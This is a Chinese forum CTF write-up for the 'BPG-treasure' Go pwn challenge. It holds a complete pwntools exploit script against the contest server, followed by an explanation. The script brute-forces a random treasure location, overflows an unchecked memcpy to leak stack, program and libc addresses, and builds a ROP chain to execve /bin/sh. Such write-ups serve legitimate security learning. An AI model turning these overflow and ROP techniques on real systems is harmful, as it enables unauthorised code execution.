-
-
[原创]BPG-treasure WriteUp from W8C.Cossack人人
-
发表于: 2019-3-23 15:16 3021
-
脚本写的丑...各位大哥见谅
rop = p64(proc_base+syscall_Syscall) rop += p64(proc_base+add_rsp_ret) rop += p64(59) rop += p64(libc_base+libc.search("/bin/sh").next()) rop += p64(0)*3
from pwn import * from time import sleep #from ctypes import CDLL import sys,os #import cle context.arch = "amd64" status = sys.argv[1] elf = ELF("./trepwn") libc = ELF("./libc.so") host = "211.159.175.39" port = 8787 name_ptr= 0x489410 ret1 = 0xC820047CE0 padding = '0'*0x30 cc = False fuck1 = False fuck2 = False fuck3 = False fuck4 = False fuck5 = False syscall_Syscall = 0x186600 add_rsp_ret = 0xd72f4 if status == 'l': io = process("./trepwn") elif status == 'r': io = remote(host,port) else: info("INVALID STATUS") exit() #ref_io = process("./trepwn") #base = int(os.popen("pmap {}| awk '{{print $1}}'".format(io.pid)).readlines()[3], 16) #info("REF.IO proc BASE -> %#x"%base) #callrand = CDLL('./call.so').call def mov(d): sleep(0.1) io.sendlineafter(")>>",d) def msg(data): io.sendlineafter(">> ",data) name = 'CCCC' io.sendlineafter("Please input you name :\n",name) #rand = callrand() for i in range(5): mov('d') #rand = callrand() msg('1'*0x10) info("Treasure 1 found") for i in range(5): mov('w') #rand = callrand() msg('2'*0x10) info("Treasure 2 found") for i in range(5): mov('a') #rand = callrand() msg('3'*0x10) info("Treasure 3 found") mov('s');mov('d') des1 = 'dsaw' des2 = 'sawd' def mov_brute(d): io.sendlineafter(")>>",d) if "Cong" in io.recv(0x13): info("Treasure 4 found") if fuck1 and fuck2 == False and fuck3 == False and fuck4 == False and fuck5 == False: pwn2() elif fuck1 and fuck2 and fuck3 == False and fuck4 == False and fuck5 == False: pwn3() elif fuck1 and fuck2 and fuck3 and fuck4 == False and fuck5 == False: pwn4() elif fuck1 and fuck2 and fuck3 and fuck4 and fuck5 == False: pwn5() else: pwn() def loop(des): sleep(0.1) for de in des1: for i in range(3): mov_brute(de) def looop(): cnt = 0 while True: loop(des1) cnt=cnt+1 if(cnt%20==0): cod = io.recv(4) info("loop %d cod %s"%(cnt,cod)) def looop2(): cnt = 0 while True: loop(des2) cnt=cnt+1 if(cnt%10==0): cod = io.recv(4) info("loop %d cod %s"%(cnt,cod)) def pwn(): global fuck1 payload = padding payload += p64(0x1)*2 payload += '\x00'*0x80 payload += '\xf8' msg(payload) io.recvuntil('message: ') global split_stack split_stack = u64(io.recv(8)) success("SPLIT STACK BUF -> %#x"%split_stack) io.recvuntil(': (') x = int(io.recv(1)) io.recv(2) y = int(io.recv(1)) for i in range(4-y): mov_brute('w') for i in range(4-x): mov_brute('d') fuck1 = True looop2() def pwn2(): global fuck2 payload = padding payload += p64(0x1)*2 payload += '\x00'*0x80 payload += p64(split_stack+0x60) msg(payload) io.recvuntil('message: ') global proc_base leak = u64(io.recv(8))-0xd8036 if (leak&0xfff) == 0: proc_base = leak elif (leak&0xfff) == 0xfa1: proc_base = leak+0x5f else: proc_base = leak+0xee success("PROC BASE -> %#x"%proc_base) io.recvuntil(': (') x = int(io.recv(1)) io.recv(2) y = int(io.recv(1)) for i in range(4-y): mov_brute('w') for i in range(4-x): mov_brute('d') fuck2 = True looop2() def pwn3(): global fuck3 payload = padding payload += p64(0x1)*2 payload += '\x00'*0x80 payload += p64(proc_base+0x474ef0) msg(payload) io.recvuntil('message: ') global libc_base libc_base = u64(io.recv(8))-libc.sym['free'] success("LIBC BASE -> %#x"%libc_base) io.recvuntil(': (') x = int(io.recv(1)) io.recv(2) y = int(io.recv(1)) for i in range(4-y): mov_brute('w') for i in range(4-x): mov_brute('d') fuck3 = True looop2() def pwn4(): global fuck4 payload = '\x00'*0x30 payload += p64(0x1)*2 payload += '\x00'*0x80 payload += '\x18' msg(payload) io.recvuntil('message: ') global cache_stack cache_stack = u64(io.recv(8)) success("CACHE STACK BUF -> %#x"%cache_stack) io.recvuntil(': (') x = int(io.recv(1)) io.recv(2) y = int(io.recv(1)) for i in range(4-y): mov_brute('w') for i in range(4-x): mov_brute('d') fuck4 = True looop2() def pwn5(): global base,libc_base #gdb.attach(io,'b * %d+0xd7980'%base) global fuck5 rop = p64(proc_base+syscall_Syscall) rop += p64(proc_base+add_rsp_ret) rop += p64(59) rop += p64(libc_base+libc.search("/bin/sh").next()) rop += p64(0)*3 payload = '\x00'*0x30 payload += p64(0x1)*2 payload += '\x00'*0x80 payload += p64(split_stack-0xf8+0x38) payload += p64(0x30)*2 payload += p64(0x0)*3 payload += p64(0x1)+p64(0xcb4) payload += p64(cache_stack) payload += p64(0x1)+p64(0x0)*2 payload += rop msg(payload) io.interactive() fuck5 = True looop()
- 首先,你需要恢复一下符号表,于是你就可以发现如下内容
- 作者自写了
main
Game
walk
treasure
randtreasure
Joke
print
scan
println
memcpy
- 其他的逻辑都简单,关键是
Game
中walk
调用treasure
,treasure
又调用memcpy
;而walk
中有4个 treasure 等待被发现,其中 treasure 1 2 3 在固定地址 (5,0) (5,5) (0,5) , treasure 4 是通过randtreasure
随机分配位置 - 此处最坑爹的地方来了,一旦用户移动到了 treasure 4 的上下左右1格的位置,就会再次调用
randtreasure
,再把宝藏挪走到下一个随即地址; 而且!这个randtreasure
甚至重新生成随机种子...肥肠的变态 - 费尽千辛万苦挖到 treasure 4 后,会把用户的 message 通过
runtime.slicebytetostring
从 split stack 的一个类似于数据段的地方(对golang底层了解不深,只知道 split stack 中划分了许多不同的区域OTZ)移动到rsp+0x48
的地方
-
memcpy
未校验长度导致 treasure 4 留言溢出(原定0x30bytes)
- 原本想的是,修改栈上println的参数使得输出字节增加,后来发现在未leak时,slice 结构体的 len 和 cap 都在 slice 指针高地址处,无法覆写
- 后来借助 split stack 常规栈区最低字节不变的特性,直接修改 slice 指针低字节从而 leak 出 split stack rsp 附近值;再借此 leak 出返回地址,算出 proc_base (神奇的是,这竟然能 leak 出三种返回地址);再借助 proc_base leak 出 got 的 free 指针,从而得到 libc_base; 最后的最后,再 leak 一个栈区数据段(像是拓展指针存放的地方)的莫名其妙的指针,所有的 leak 工作就结束了
- 其实可以不 leak libc_base 的...毕竟 golang 静态编译,
syscall.Syscall
已经被编译进二进制文件了QAQ,最后才发现...
- 首先你要挖矿(笑),我是爆破的,概率性脚本(wtcl)
- 尝试了一下模拟随机过程,GG;又尝试了一下远程本地同时跑然后angr读本地进程内存,GG。
- 爆!
- 一波 leak 之后,直接伪造栈上数据,rop 调 syscall.Syscall 一发入魂
- 此处 rop 注意,用
add rsp,28h
代替push
即可rop = p64(proc_base+syscall_Syscall) rop += p64(proc_base+add_rsp_ret) rop += p64(59) rop += p64(libc_base+libc.search("/bin/sh").next()) rop += p64(0)*3
- (而且golang的TCMalloc机制和ptmalloc差异很大,很容易出bug)
- 看了一下出题源码..unsafe nb..Mut3p1g nb
- 不过还是感谢出题人让我玩了一下go rop
main
Game
walk
treasure
randtreasure
Joke
print
scan
println
memcpy
Game
中 walk
调用 treasure
,treasure
又调用 memcpy
;而 walk
中有4个 treasure 等待被发现,其中 treasure 1 2 3 在固定地址 (5,0) (5,5) (0,5) , treasure 4 是通过 randtreasure
随机分配位置randtreasure
,再把宝藏挪走到下一个随即地址; 而且!这个 randtreasure
甚至重新生成随机种子...肥肠的变态runtime.slicebytetostring
从 split stack 的一个类似于数据段的地方(对golang底层了解不深,只知道 split stack 中划分了许多不同的区域OTZ)移动到 rsp+0x48
的地方[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)
最后于 2019-3-28 15:57
被Cossack人人编辑
,原因:
赞赏
他的文章
看原图
赞赏
雪币:
留言: